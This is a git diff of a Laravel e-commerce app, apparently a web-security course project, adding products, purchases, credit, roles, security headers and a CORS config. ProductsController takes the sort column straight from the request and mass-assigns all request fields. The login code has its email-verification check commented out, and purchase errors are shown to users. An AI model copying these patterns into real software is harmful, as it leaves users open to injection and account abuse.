`roles_name_guard_name_unique` (`name`,`guard_name`); - --- --- Indexes for table `role_has_permissions` --- -ALTER TABLE `role_has_permissions` - ADD PRIMARY KEY (`permission_id`,`role_id`), - ADD KEY `role_has_permissions_role_id_foreign` (`role_id`); - --- --- Indexes for table `sessions` --- -ALTER TABLE `sessions` - ADD PRIMARY KEY (`id`), - ADD KEY `sessions_user_id_index` (`user_id`), - ADD KEY `sessions_last_activity_index` (`last_activity`); - --- --- Indexes for table `users` --- -ALTER TABLE `users` - ADD PRIMARY KEY (`id`), - ADD UNIQUE KEY `users_email_unique` (`email`), - ADD UNIQUE KEY `google_id` (`google_id`) USING HASH; - --- --- AUTO_INCREMENT for dumped tables --- - --- --- AUTO_INCREMENT for table `failed_jobs` --- -ALTER TABLE `failed_jobs` - MODIFY `id` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT; - --- --- AUTO_INCREMENT for table `jobs` --- -ALTER TABLE `jobs` - MODIFY `id` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT; - --- --- AUTO_INCREMENT for table `migrations` --- -ALTER TABLE `migrations` - MODIFY `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=10; - --- --- AUTO_INCREMENT for table `oauth_personal_access_clients` --- -ALTER TABLE `oauth_personal_access_clients` - MODIFY `id` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=2; - --- --- AUTO_INCREMENT for table `participations` --- -ALTER TABLE `participations` - MODIFY `id` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT; - --- --- AUTO_INCREMENT for table `permissions` --- -ALTER TABLE `permissions` - MODIFY `id` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=9; - --- --- AUTO_INCREMENT for table `products` --- -ALTER TABLE `products` - MODIFY `id` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=23; - --- --- AUTO_INCREMENT for table `quizzes` --- -ALTER TABLE `quizzes` - MODIFY `id` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT; - --- --- AUTO_INCREMENT for table `roles` --- -ALTER TABLE `roles` - MODIFY `id` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=3; - --- --- AUTO_INCREMENT for table `users` --- -ALTER TABLE `users` - MODIFY `id` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=39; - --- --- Constraints for dumped tables --- - --- --- Constraints for table `model_has_permissions` --- -ALTER TABLE `model_has_permissions` - ADD CONSTRAINT `model_has_permissions_permission_id_foreign` FOREIGN KEY (`permission_id`) REFERENCES `permissions` (`id`) ON DELETE CASCADE; - --- --- Constraints for table `model_has_roles` --- -ALTER TABLE `model_has_roles` - ADD CONSTRAINT `model_has_roles_role_id_foreign` FOREIGN KEY (`role_id`) REFERENCES `roles` (`id`) ON DELETE CASCADE; - --- --- Constraints for table `role_has_permissions` --- -ALTER TABLE `role_has_permissions` - ADD CONSTRAINT `role_has_permissions_permission_id_foreign` FOREIGN KEY (`permission_id`) REFERENCES `permissions` (`id`) ON DELETE CASCADE, - ADD CONSTRAINT `role_has_permissions_role_id_foreign` FOREIGN KEY (`role_id`) REFERENCES `roles` (`id`) ON DELETE CASCADE; -COMMIT; - -/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */; -/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */; -/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */; diff --git a/WebSecService/resources/views/products/list.blade.php b/WebSecService/resources/views/products/list.blade.php deleted file mode 100644 index 3d25e4ae..00000000 --- a/WebSecService/resources/views/products/list.blade.php +++ /dev/null @@ -1,85 +0,0 @@ -@extends('layouts.master') -@section('title', 'Test Page') -@section('content') -
-
-

Products

-
-
- @can('add_products') - Add Product - @endcan -
-
-
-
-
- -
-
- -
-
- -
-
- -
-
- -
-
- -
-
- -
-
-
- - -@foreach($products as $product) -
-
-
-
- photo")}}" class="img-thumbnail" alt="{{$product->name}}" width="100%"> -
-
-
-
-

{{$product->name}}

-
-
- @can('edit_products') - Edit - @endcan -
-
- @can('delete_products') - Delete - @endcan -
-
- - - - - - - -
Name{{$product->name}}
Model{{$product->model}}
Code{{$product->code}}
Price{{$product->price}}
Description{{$product->description}}
-
-
-
-
-@endforeach -@endsection \ No newline at end of file diff --git a/WebSecService/routes/api.php b/WebSecService/routes/api.php deleted file mode 100644 index e1f58287..00000000 --- a/WebSecService/routes/api.php +++ /dev/null @@ -1,10 +0,0 @@ -middleware('auth:api'); -Route::get('/logout', [UsersController::class, 'logout'])->middleware('auth:api'); diff --git a/app/Console/Commands/AssignCustomerRole.php b/app/Console/Commands/AssignCustomerRole.php new file mode 100644 index 00000000..7b189e81 --- /dev/null +++ b/app/Console/Commands/AssignCustomerRole.php @@ -0,0 +1,27 @@ +argument('email'); + $user = User::where('email', $email)->first(); + + if (!$user) { + $this->error("User with email {$email} not found."); + return 1; + } + + $user->assignRole('Customer'); + $this->info("Customer role assigned to {$user->name} successfully."); + return 0; + } +} \ No newline at end of file diff --git a/WebSecService/app/Http/Controllers/Api/UsersController.php b/app/Http/Controllers/Api/UsersController.php similarity index 100% rename from WebSecService/app/Http/Controllers/Api/UsersController.php rename to app/Http/Controllers/Api/UsersController.php diff --git a/WebSecService/app/Http/Controllers/Controller.php b/app/Http/Controllers/Controller.php similarity index 100% rename from WebSecService/app/Http/Controllers/Controller.php rename to app/Http/Controllers/Controller.php diff --git a/app/Http/Controllers/Web/ProductsController.php b/app/Http/Controllers/Web/ProductsController.php new file mode 100644 index 00000000..d1c50f08 --- /dev/null +++ b/app/Http/Controllers/Web/ProductsController.php @@ -0,0 +1,186 @@ +middleware('auth:web')->except('list'); + /*123*/ + } + + public function list(Request $request) { + + $query = Product::select("products.*"); + + $query->when($request->keywords, + fn($q)=> $q->where("name", "like", "%$request->keywords%")); + + $query->when($request->min_price, + fn($q)=> $q->where("price", ">=", $request->min_price)); + + $query->when($request->max_price, fn($q)=> + $q->where("price", "<=", $request->max_price)); + + $query->when($request->order_by, + fn($q)=> $q->orderBy($request->order_by, $request->order_direction??"ASC")); + + $products = $query->get(); + + return view('products.list', compact('products')); + } + + public function edit(Request $request, Product $product = null) { + + if(!auth()->user()) return redirect('/'); + + $product = $product??new Product(); + + return view('products.edit', compact('product')); + } + + public function save(Request $request, Product $product = null) { + + $this->validate($request, [ + 'code' => ['required', 'string', 'max:32'], + 'name' => ['required', 'string', 'max:128'], + 'model' => ['required', 'string', 'max:256'], + 'description' => ['required', 'string', 'max:1024'], + 'price' => ['required', 'numeric'], + ]); + + $product = $product??new Product(); + $product->fill($request->all()); + $product->save(); + + return redirect()->route('products_list'); + } + + public function delete(Request $request, Product $product) { + + if(!auth()->user()->hasPermissionTo('delete_products')) abort(401); + + $product->delete(); + + return redirect()->route('products_list'); + } + + public function review(Request $request, Product $product) { + if(!auth()->user()->hasPermissionTo('add_review')) abort(401); + + return view('products.review', compact('product')); + } + + public function saveReview(Request $request, Product $product) { + if(!auth()->user()->hasPermissionTo('add_review')) abort(401); + + $this->validate($request, [ + 'review' => ['required', 'string', 'max:1024'], + ]); + + $product->review = (string) $request->review; + $product->save(); + + return redirect()->route('products_list'); + } + + public function toggleFavorite(Request $request, Product $product) { + if(!auth()->user()) abort(401); + + $favorite = $product->favorites()->where('user_id', auth()->id())->first(); + + if($favorite) { + $favorite->delete(); + $message = 'Product removed from favorites'; + } else { + $product->favorites()->create(['user_id' => auth()->id()]); + $message = 'Product added to favorites'; + } + + return redirect()->route('products_list')->with('message', $message); + } + + public function manageInventory() + { + if (!auth()->user()->hasPermissionTo('manage_inventory')) abort(401); + + $products = Product::all(); + return view('products.inventory', compact('products')); + } + + public function updateStock(Request $request, Product $product) + { + if (!auth()->user()->hasPermissionTo('manage_inventory')) abort(401); + + $this->validate($request, [ + 'quantity' => 'required|integer|min:1', + ]); + + if ($product->addStock($request->quantity)) { + return redirect()->route('products_manage_inventory') + ->with('message', 'Stock updated successfully for ' . $product->name); + } + + return redirect()->back()->withErrors('Failed to update stock. Please try again.'); + } + + public function buy(Request $request, Product $product) + { + if (!auth()->user()->hasPermissionTo('buy_products')) { + return redirect()->back()->withErrors('You do not have permission to buy products.'); + } + + $user = auth()->user(); + + // Check if user has enough credit + if ($user->credit < $product->price) { + return redirect()->back()->withErrors('Insufficient credit balance.'); + } + + // Check if product is in stock + if (!$product->isInStock()) { + return redirect()->back()->withErrors('Product is out of stock.'); + } + + try { + DB::beginTransaction(); + + // Create purchase record + $purchase = new Purchase(); + $purchase->user_id = $user->id; + $purchase->product_id = $product->id; + $purchase->price_at_purchase = $product->price; + $purchase->save(); + + // Deduct credit from user + $user->credit -= $product->price; + $user->save(); + + // Reduce product stock + if (!$product->reduceStock()) { + throw new \Exception('Failed to reduce stock'); + } + + DB::commit(); + + return redirect()->route('products_list') + ->with('message', 'Purchase successful! Thank you for your purchase.'); + } catch (\Exception $e) { + DB::rollBack(); + Log::error('Purchase failed: ' . $e->getMessage()); + Log::error('Stack trace: ' . $e->getTraceAsString()); + return redirect()->back()->withErrors('Purchase failed: ' . $e->getMessage()); + } + } +} \ No newline at end of file diff --git a/app/Http/Controllers/Web/PurchaseController.php b/app/Http/Controllers/Web/PurchaseController.php new file mode 100644 index 00000000..ccd088fc --- /dev/null +++ b/app/Http/Controllers/Web/PurchaseController.php @@ -0,0 +1,63 @@ +user()->hasPermissionTo('buy_products')) abort(401); + + // Check if product is in stock + if (!$product->isInStock()) { + return redirect()->back()->withErrors('Sorry, this product is out of stock.'); + } + + // Check if user has enough credit + if (!auth()->user()->hasEnoughCredit($product->price)) { + return redirect()->back()->withErrors('Insufficient credit. Please add more credit to your account.'); + } + + // Start transaction + DB::beginTransaction(); + try { + // Create purchase record + $purchase = new Purchase([ + 'user_id' => auth()->id(), + 'product_id' => $product->id, + 'price_at_purchase' => $product->price, + ]); + $purchase->save(); + + // Deduct credit from user + if (!auth()->user()->deductCredit($product->price)) { + throw new \Exception('Failed to deduct credit'); + } + + // Reduce product stock + if (!$product->reduceStock()) { + throw new \Exception('Failed to reduce stock'); + } + + DB::commit(); + return redirect()->route('purchases')->with('message', 'Purchase successful!'); + } catch (\Exception $e) { + DB::rollBack(); + return redirect()->back()->withErrors('Purchase failed. Please try again.'); + } + } + + public function list() + { + if (!auth()->user()->hasPermissionTo('view_purchases')) abort(401); + + $purchases = auth()->user()->purchases()->with('product')->get(); + return view('purchases.list', compact('purchases')); + } +} \ No newline at end of file diff --git a/WebSecService/app/Http/Controllers/Web/UsersController.php b/app/Http/Controllers/Web/UsersController.php similarity index 77% rename from WebSecService/app/Http/Controllers/Web/UsersController.php rename to app/Http/Controllers/Web/UsersController.php index 59a1a2e5..86d30e88 100644 --- a/WebSecService/app/Http/Controllers/Web/UsersController.php +++ b/app/Http/Controllers/Web/UsersController.php @@ -25,7 +25,14 @@ class UsersController extends Controller { public function list(Request $request) { if(!auth()->user()->hasPermissionTo('show_users'))abort(401); + $query = User::select('*'); + + // If user is an employee, only show customers + if (auth()->user()->isEmployee()) { + $query->role('Customer'); + } + $query->when($request->keywords, fn($q)=> $q->where("name", "like", "%$request->keywords%")); $users = $query->get(); @@ -40,8 +47,8 @@ public function doRegister(Request $request) { try { $this->validate($request, [ - 'name' => ['required', 'string', 'min:5'], - 'email' => ['required', 'email', 'unique:users'], + 'name' => ['required', 'string'],//, 'min:5' + 'email' => ['required', 'email', 'unique:users'],//, 'unique:users' 'password' => ['required', 'confirmed', Password::min(8)->numbers()->letters()->mixedCase()->symbols()], ]); } @@ -57,6 +64,9 @@ public function doRegister(Request $request) { $user->password = bcrypt($request->password); //Secure $user->save(); + // Assign Customer role + $user->assignRole('Customer'); + $title = "Verification Link"; $token = Crypt::encryptString(json_encode(['id' => $user->id, 'email' => $user->email])); $link = route("verify", ['token' => $token]); @@ -77,8 +87,8 @@ public function doLogin(Request $request) { $user = User::where('email', $request->email)->first(); Auth::setUser($user); - if(!$user->email_verified_at) - return redirect()->back()->withInput($request->input())->withErrors('Your email is not verified.'); + // if(!$user->email_verified_at) + // return redirect()->back()->withInput($request->input())->withErrors('Your email is not verified.'); return redirect('/'); @@ -161,7 +171,7 @@ public function delete(Request $request, User $user) { if(!auth()->user()->hasPermissionTo('delete_users')) abort(401); - //$user->delete(); + $user->delete(); return redirect()->route('users'); } @@ -235,4 +245,46 @@ public function handleGoogleCallback() { } } + public function createEmployee(Request $request) + { + if (!auth()->user()->isAdmin()) abort(401); + return view('users.create_employee'); + } + + public function storeEmployee(Request $request) + { + if (!auth()->user()->isAdmin()) abort(401); + + $this->validate($request, [ + 'name' => ['required', 'string'], + 'email' => ['required', 'email', 'unique:users'], + 'password' => ['required', 'confirmed', Password::min(8)->numbers()->letters()->mixedCase()->symbols()], + ]); + + $user = new User(); + $user->name = $request->name; + $user->email = $request->email; + $user->password = bcrypt($request->password); + $user->save(); + + // Assign Employee role + $user->assignRole('Employee'); + + return redirect()->route('users')->with('message', 'Employee account created successfully.'); + } + + public function giveGift(Request $request, User $user) { + if(!auth()->user()->hasPermissionTo('manage_sales')) abort(401); + + $this->validate($request, [ + 'amount' => 'required|numeric|min:0.01', + ]); + + if ($user->addCredit($request->amount)) { + return redirect()->route('users')->with('message', number_format($request->amount, 2) . ' credits have been added to ' . $user->name); + } + + return redirect()->back()->withErrors('Failed to add credit. Please try again.'); + } + } \ No newline at end of file diff --git a/app/Http/Kernel.php b/app/Http/Kernel.php new file mode 100644 index 00000000..5d2d7017 --- /dev/null +++ b/app/Http/Kernel.php @@ -0,0 +1,53 @@ + + */ + protected $middleware = [ + // \App\Http\Middleware\TrustHosts::class, + \App\Http\Middleware\TrustProxies::class, + \Illuminate\Http\Middleware\HandleCors::class, + \App\Http\Middleware\PreventRequestsDuringMaintenance::class, + \Illuminate\Foundation\Http\Middleware\ValidatePostSize::class, + \App\Http\Middleware\TrimStrings::class, + \Illuminate\Foundation\Http\Middleware\ConvertEmptyStringsToNull::class, + \App\Http\Middleware\SecurityHeaders::class, + \App\Http\Middleware\ForceHttps::class, + ]; + + /** + * The application's route middleware groups. + * + * @var array> + */ + protected $middlewareGroups = [ + 'web' => [ + // Web middleware group + ], + + 'api' => [ + // API middleware group + ], + ]; + + /** + * The application's route middleware. + * + * These middleware may be assigned to groups or used individually. + * + * @var array + */ + protected $routeMiddleware = [ + // Route middleware + ]; +} \ No newline at end of file diff --git a/app/Http/Middleware/ForceHttps.php b/app/Http/Middleware/ForceHttps.php new file mode 100644 index 00000000..bab6f047 --- /dev/null +++ b/app/Http/Middleware/ForceHttps.php @@ -0,0 +1,17 @@ +secure() && app()->environment('production')) { + return redirect()->secure($request->getRequestUri()); + } + return $next($request); + } +} \ No newline at end of file diff --git a/app/Http/Middleware/SecurityHeaders.php b/app/Http/Middleware/SecurityHeaders.php new file mode 100644 index 00000000..2a934ec4 --- /dev/null +++ b/app/Http/Middleware/SecurityHeaders.php @@ -0,0 +1,23 @@ +headers->set('X-Frame-Options', 'SAMEORIGIN'); + $response->headers->set('X-XSS-Protection', '1; mode=block'); + $response->headers->set('X-Content-Type-Options', 'nosniff'); + $response->headers->set('Referrer-Policy', 'strict-origin-when-cross-origin'); + $response->headers->set('Content-Security-Policy', "default-src 'self'"); + $response->headers->set('Strict-Transport-Security', 'max-age=31536000; includeSubDomains'); + + return $response; + } +} \ No newline at end of file diff --git a/app/Http/Requests/ApiRequest.php b/app/Http/Requests/ApiRequest.php new file mode 100644 index 00000000..f3727971 --- /dev/null +++ b/app/Http/Requests/ApiRequest.php @@ -0,0 +1,28 @@ + 'required|string', + 'timestamp' => 'required|integer', + 'signature' => 'required|string', + ]; + } + + protected function prepareForValidation() + { + // Add any request preparation logic here + } +} \ No newline at end of file diff --git a/WebSecService/app/Mail/VerificationEmail.php b/app/Mail/VerificationEmail.php similarity index 100% rename from WebSecService/app/Mail/VerificationEmail.php rename to app/Mail/VerificationEmail.php diff --git a/app/Models/Favorite.php b/app/Models/Favorite.php new file mode 100644 index 00000000..fe6ef1ac --- /dev/null +++ b/app/Models/Favorite.php @@ -0,0 +1,23 @@ +belongsTo(User::class); + } + + public function product() + { + return $this->belongsTo(Product::class); + } +} \ No newline at end of file diff --git a/app/Models/Product.php b/app/Models/Product.php new file mode 100644 index 00000000..58cda0a2 --- /dev/null +++ b/app/Models/Product.php @@ -0,0 +1,64 @@ + 'decimal:2', + 'stock_quantity' => 'integer', + ]; + + public function purchases(): HasMany + { + return $this->hasMany(Purchase::class); + } + + public function favorites(): HasMany + { + return $this->hasMany(Favorite::class); + } + + public function isFavoritedBy($user): bool + { + return $this->favorites()->where('user_id', $user->id)->exists(); + } + + public function isInStock(): bool + { + return $this->stock_quantity > 0; + } + + public function reduceStock(): bool + { + if (!$this->isInStock()) { + return false; + } + + $this->stock_quantity--; + return $this->save(); + } + + public function addStock(int $quantity): bool + { + if ($quantity <= 0) { + return false; + } + + $this->stock_quantity += $quantity; + return $this->save(); + } +} \ No newline at end of file diff --git a/app/Models/Purchase.php b/app/Models/Purchase.php new file mode 100644 index 00000000..b2caab73 --- /dev/null +++ b/app/Models/Purchase.php @@ -0,0 +1,29 @@ + 'decimal:2', + ]; + + public function user(): BelongsTo + { + return $this->belongsTo(User::class); + } + + public function product(): BelongsTo + { + return $this->belongsTo(Product::class); + } +} \ No newline at end of file diff --git a/WebSecService/app/Models/User.php b/app/Models/User.php similarity index 51% rename from WebSecService/app/Models/User.php rename to app/Models/User.php index a1816ca8..1b5aee8b 100644 --- a/WebSecService/app/Models/User.php +++ b/app/Models/User.php @@ -8,6 +8,7 @@ use Illuminate\Notifications\Notifiable; use Spatie\Permission\Traits\HasRoles; use Laravel\Passport\HasApiTokens; +use Illuminate\Database\Eloquent\Relations\HasMany; class User extends Authenticatable { @@ -25,6 +26,7 @@ class User extends Authenticatable 'name', 'email', 'password', + 'credit', ]; /** @@ -47,6 +49,52 @@ protected function casts(): array return [ 'email_verified_at' => 'datetime', 'password' => 'hashed', + 'credit' => 'decimal:2', ]; } + + public function purchases(): HasMany + { + return $this->hasMany(Purchase::class); + } + + public function hasEnoughCredit(float $amount): bool + { + return ($this->credit ?? 0) >= $amount; + } + + public function deductCredit(float $amount): bool + { + if (!$this->hasEnoughCredit($amount)) { + return false; + } + + $this->credit -= $amount; + return $this->save(); + } + + public function addCredit(float $amount): bool + { + if ($amount <= 0) { + return false; + } + + $this->credit = ($this->credit ?? 0) + $amount; + return $this->save(); + } + + public function isCustomer(): bool + { + return $this->hasRole('Customer'); + } + + public function isEmployee(): bool + { + return $this->hasRole('Employee'); + } + + public function isAdmin(): bool + { + return $this->hasRole('Admin'); + } } diff --git a/WebSecService/app/Providers/AppServiceProvider.php b/app/Providers/AppServiceProvider.php similarity index 100% rename from WebSecService/app/Providers/AppServiceProvider.php rename to app/Providers/AppServiceProvider.php diff --git a/WebSecService/app/helpers.php b/app/helpers.php similarity index 100% rename from WebSecService/app/helpers.php rename to app/helpers.php diff --git a/WebSecService/artisan b/artisan similarity index 100% rename from WebSecService/artisan rename to artisan diff --git a/WebSecService/bootstrap/app.php b/bootstrap/app.php similarity index 100% rename from WebSecService/bootstrap/app.php rename to bootstrap/app.php diff --git a/WebSecService/bootstrap/cache/.gitignore b/bootstrap/cache/.gitignore similarity index 100% rename from WebSecService/bootstrap/cache/.gitignore rename to bootstrap/cache/.gitignore diff --git a/WebSecService/bootstrap/providers.php b/bootstrap/providers.php similarity index 100% rename from WebSecService/bootstrap/providers.php rename to bootstrap/providers.php diff --git a/WebSecService/composer.json b/composer.json similarity index 96% rename from WebSecService/composer.json rename to composer.json index 170c5f43..e63447b6 100644 --- a/WebSecService/composer.json +++ b/composer.json @@ -9,9 +9,9 @@ "php": "^8.2", "laravel/framework": "^11.31", "laravel/passport": "^12.0", - "laravel/socialite": "^5.19", + "laravel/socialite": "^5.20", "laravel/tinker": "^2.9", - "spatie/laravel-permission": "^6.16" + "spatie/laravel-permission": "^6.18" }, "require-dev": { "fakerphp/faker": "^1.23", diff --git a/WebSecService/composer.lock b/composer.lock similarity index 99% rename from WebSecService/composer.lock rename to composer.lock index d3b8c274..0911c56b 100644 --- a/WebSecService/composer.lock +++ b/composer.lock @@ -4,7 +4,7 @@ "Read more about it at https://getcomposer.org/doc/01-basic-usage.md#installing-dependencies", "This file is @generated automatically" ], - "content-hash": "17e8cd630082d2dc31bca7d846854379", + "content-hash": "246571fb23a91a861ddcaea69a860548", "packages": [ { "name": "brick/math", @@ -1597,16 +1597,16 @@ }, { "name": "laravel/socialite", - "version": "v5.19.0", + "version": "v5.20.0", "source": { "type": "git", "url": "https://github.com/laravel/socialite.git", - "reference": "c40f843c5643fb6b089e46ce9794b8408bf08319" + "reference": "30972c12a41f71abeb418bc9ff157da8d9231519" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/laravel/socialite/zipball/c40f843c5643fb6b089e46ce9794b8408bf08319", - "reference": "c40f843c5643fb6b089e46ce9794b8408bf08319", + "url": "https://api.github.com/repos/laravel/socialite/zipball/30972c12a41f71abeb418bc9ff157da8d9231519", + "reference": "30972c12a41f71abeb418bc9ff157da8d9231519", "shasum": "" }, "require": { @@ -1665,7 +1665,7 @@ "issues": "https://github.com/laravel/socialite/issues", "source": "https://github.com/laravel/socialite" }, - "time": "2025-03-27T17:26:42+00:00" + "time": "2025-04-21T14:21:34+00:00" }, { "name": "laravel/tinker", @@ -4239,16 +4239,16 @@ }, { "name": "spatie/laravel-permission", - "version": "6.16.0", + "version": "6.18.0", "source": { "type": "git", "url": "https://github.com/spatie/laravel-permission.git", - "reference": "4fa03c06509e037a4d42c131d0f181e3e4bbd483" + "reference": "3c05f04d12275dfbe462c8b4aae3290e586c2dde" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/spatie/laravel-permission/zipball/4fa03c06509e037a4d42c131d0f181e3e4bbd483", - "reference": "4fa03c06509e037a4d42c131d0f181e3e4bbd483", + "url": "https://api.github.com/repos/spatie/laravel-permission/zipball/3c05f04d12275dfbe462c8b4aae3290e586c2dde", + "reference": "3c05f04d12275dfbe462c8b4aae3290e586c2dde", "shasum": "" }, "require": { @@ -4310,7 +4310,7 @@ ], "support": { "issues": "https://github.com/spatie/laravel-permission/issues", - "source": "https://github.com/spatie/laravel-permission/tree/6.16.0" + "source": "https://github.com/spatie/laravel-permission/tree/6.18.0" }, "funding": [ { @@ -4318,7 +4318,7 @@ "type": "github" } ], - "time": "2025-02-28T20:29:57+00:00" + "time": "2025-05-14T03:32:23+00:00" }, { "name": "symfony/clock", @@ -9182,12 +9182,12 @@ ], "aliases": [], "minimum-stability": "stable", - "stability-flags": [], + "stability-flags": {}, "prefer-stable": true, "prefer-lowest": false, "platform": { "php": "^8.2" }, - "platform-dev": [], + "platform-dev": {}, "plugin-api-version": "2.6.0" } diff --git a/WebSecService/config/app.php b/config/app.php similarity index 100% rename from WebSecService/config/app.php rename to config/app.php diff --git a/WebSecService/config/auth.php b/config/auth.php similarity index 100% rename from WebSecService/config/auth.php rename to config/auth.php diff --git a/WebSecService/config/cache.php b/config/cache.php similarity index 100% rename from WebSecService/config/cache.php rename to config/cache.php diff --git a/config/cors.php b/config/cors.php new file mode 100644 index 00000000..e1fcd2c6 --- /dev/null +++ b/config/cors.php @@ -0,0 +1,12 @@ + ['api/*'], + 'allowed_methods' => ['GET', 'POST', 'PUT', 'PATCH', 'DELETE'], + 'allowed_origins' => [env('FRONTEND_URL', 'http://localhost:3000')], + 'allowed_origins_patterns' => [], + 'allowed_headers' => ['Content-Type', 'X-Requested-With', 'Authorization', 'X-CSRF-TOKEN'], + 'exposed_headers' => [], + 'max_age' => 0, + 'supports_credentials' => true, +]; \ No newline at end of file diff --git a/WebSecService/config/database.php b/config/database.php similarity index 100% rename from WebSecService/config/database.php rename to config/database.php diff --git a/WebSecService/config/filesystems.php b/config/filesystems.php similarity index 100% rename from WebSecService/config/filesystems.php rename to config/filesystems.php diff --git a/WebSecService/config/logging.php b/config/logging.php similarity index 100% rename from WebSecService/config/logging.php rename to config/logging.php diff --git a/WebSecService/config/mail.php b/config/mail.php similarity index 100% rename from WebSecService/config/mail.php rename to config/mail.php diff --git a/WebSecService/config/passport.php b/config/passport.php similarity index 100% rename from WebSecService/config/passport.php rename to config/passport.php diff --git a/config/permission.php b/config/permission.php new file mode 100644 index 00000000..8e84e9d5 --- /dev/null +++ b/config/permission.php @@ -0,0 +1,202 @@ + [ + + /* + * When using the "HasPermissions" trait from this package, we need to know which + * Eloquent model should be used to retrieve your permissions. Of course, it + * is often just the "Permission" model but you may use whatever you like. + * + * The model you want to use as a Permission model needs to implement the + * `Spatie\Permission\Contracts\Permission` contract. + */ + + 'permission' => Spatie\Permission\Models\Permission::class, + + /* + * When using the "HasRoles" trait from this package, we need to know which + * Eloquent model should be used to retrieve your roles. Of course, it + * is often just the "Role" model but you may use whatever you like. + * + * The model you want to use as a Role model needs to implement the + * `Spatie\Permission\Contracts\Role` contract. + */ + + 'role' => Spatie\Permission\Models\Role::class, + + ], + + 'table_names' => [ + + /* + * When using the "HasRoles" trait from this package, we need to know which + * table should be used to retrieve your roles. We have chosen a basic + * default value but you may easily change it to any table you like. + */ + + 'roles' => 'roles', + + /* + * When using the "HasPermissions" trait from this package, we need to know which + * table should be used to retrieve your permissions. We have chosen a basic + * default value but you may easily change it to any table you like. + */ + + 'permissions' => 'permissions', + + /* + * When using the "HasPermissions" trait from this package, we need to know which + * table should be used to retrieve your models permissions. We have chosen a + * basic default value but you may easily change it to any table you like. + */ + + 'model_has_permissions' => 'model_has_permissions', + + /* + * When using the "HasRoles" trait from this package, we need to know which + * table should be used to retrieve your models roles. We have chosen a + * basic default value but you may easily change it to any table you like. + */ + + 'model_has_roles' => 'model_has_roles', + + /* + * When using the "HasRoles" trait from this package, we need to know which + * table should be used to retrieve your roles permissions. We have chosen a + * basic default value but you may easily change it to any table you like. + */ + + 'role_has_permissions' => 'role_has_permissions', + ], + + 'column_names' => [ + /* + * Change this if you want to name the related pivots other than defaults + */ + 'role_pivot_key' => null, // default 'role_id', + 'permission_pivot_key' => null, // default 'permission_id', + + /* + * Change this if you want to name the related model primary key other than + * `model_id`. + * + * For example, this would be nice if your primary keys are all UUIDs. In + * that case, name this `model_uuid`. + */ + + 'model_morph_key' => 'model_id', + + /* + * Change this if you want to use the teams feature and your related model's + * foreign key is other than `team_id`. + */ + + 'team_foreign_key' => 'team_id', + ], + + /* + * When set to true, the method for checking permissions will be registered on the gate. + * Set this to false if you want to implement custom logic for checking permissions. + */ + + 'register_permission_check_method' => true, + + /* + * When set to true, Laravel\Octane\Events\OperationTerminated event listener will be registered + * this will refresh permissions on every TickTerminated, TaskTerminated and RequestTerminated + * NOTE: This should not be needed in most cases, but an Octane/Vapor combination benefited from it. + */ + 'register_octane_reset_listener' => false, + + /* + * Events will fire when a role or permission is assigned/unassigned: + * \Spatie\Permission\Events\RoleAttached + * \Spatie\Permission\Events\RoleDetached + * \Spatie\Permission\Events\PermissionAttached + * \Spatie\Permission\Events\PermissionDetached + * + * To enable, set to true, and then create listeners to watch these events. + */ + 'events_enabled' => false, + + /* + * Teams Feature. + * When set to true the package implements teams using the 'team_foreign_key'. + * If you want the migrations to register the 'team_foreign_key', you must + * set this to true before doing the migration. + * If you already did the migration then you must make a new migration to also + * add 'team_foreign_key' to 'roles', 'model_has_roles', and 'model_has_permissions' + * (view the latest version of this package's migration file) + */ + + 'teams' => false, + + /* + * The class to use to resolve the permissions team id + */ + 'team_resolver' => \Spatie\Permission\DefaultTeamResolver::class, + + /* + * Passport Client Credentials Grant + * When set to true the package will use Passports Client to check permissions + */ + + 'use_passport_client_credentials' => false, + + /* + * When set to true, the required permission names are added to exception messages. + * This could be considered an information leak in some contexts, so the default + * setting is false here for optimum safety. + */ + + 'display_permission_in_exception' => false, + + /* + * When set to true, the required role names are added to exception messages. + * This could be considered an information leak in some contexts, so the default + * setting is false here for optimum safety. + */ + + 'display_role_in_exception' => false, + + /* + * By default wildcard permission lookups are disabled. + * See documentation to understand supported syntax. + */ + + 'enable_wildcard_permission' => false, + + /* + * The class to use for interpreting wildcard permissions. + * If you need to modify delimiters, override the class and specify its name here. + */ + // 'permission.wildcard_permission' => Spatie\Permission\WildcardPermission::class, + + /* Cache-specific settings */ + + 'cache' => [ + + /* + * By default all permissions are cached for 24 hours to speed up performance. + * When permissions or roles are updated the cache is flushed automatically. + */ + + 'expiration_time' => \DateInterval::createFromDateString('24 hours'), + + /* + * The cache key used to store all permissions. + */ + + 'key' => 'spatie.permission.cache', + + /* + * You may optionally indicate a specific cache driver to use for permission and + * role caching using any of the `store` drivers listed in the cache.php config + * file. Using 'default' here means to use the `default` set in cache.php. + */ + + 'store' => 'default', + ], +]; diff --git a/WebSecService/config/queue.php b/config/queue.php similarity index 100% rename from WebSecService/config/queue.php rename to config/queue.php diff --git a/WebSecService/config/services.php b/config/services.php similarity index 99% rename from WebSecService/config/services.php rename to config/services.php index 26c58e75..a90e9bc9 100644 --- a/WebSecService/config/services.php +++ b/config/services.php @@ -40,5 +40,6 @@ 'client_secret' => env('GOOGLE_CLIENT_SECRET'), 'redirect' => env('GOOGLE_REDIRECT_URI'), ], + ]; diff --git a/WebSecService/config/session.php b/config/session.php similarity index 100% rename from WebSecService/config/session.php rename to config/session.php diff --git a/WebSecService/database/.gitignore b/database/.gitignore similarity index 100% rename from WebSecService/database/.gitignore rename to database/.gitignore diff --git a/WebSecService/database/factories/UserFactory.php b/database/factories/UserFactory.php similarity index 100% rename from WebSecService/database/factories/UserFactory.php rename to database/factories/UserFactory.php 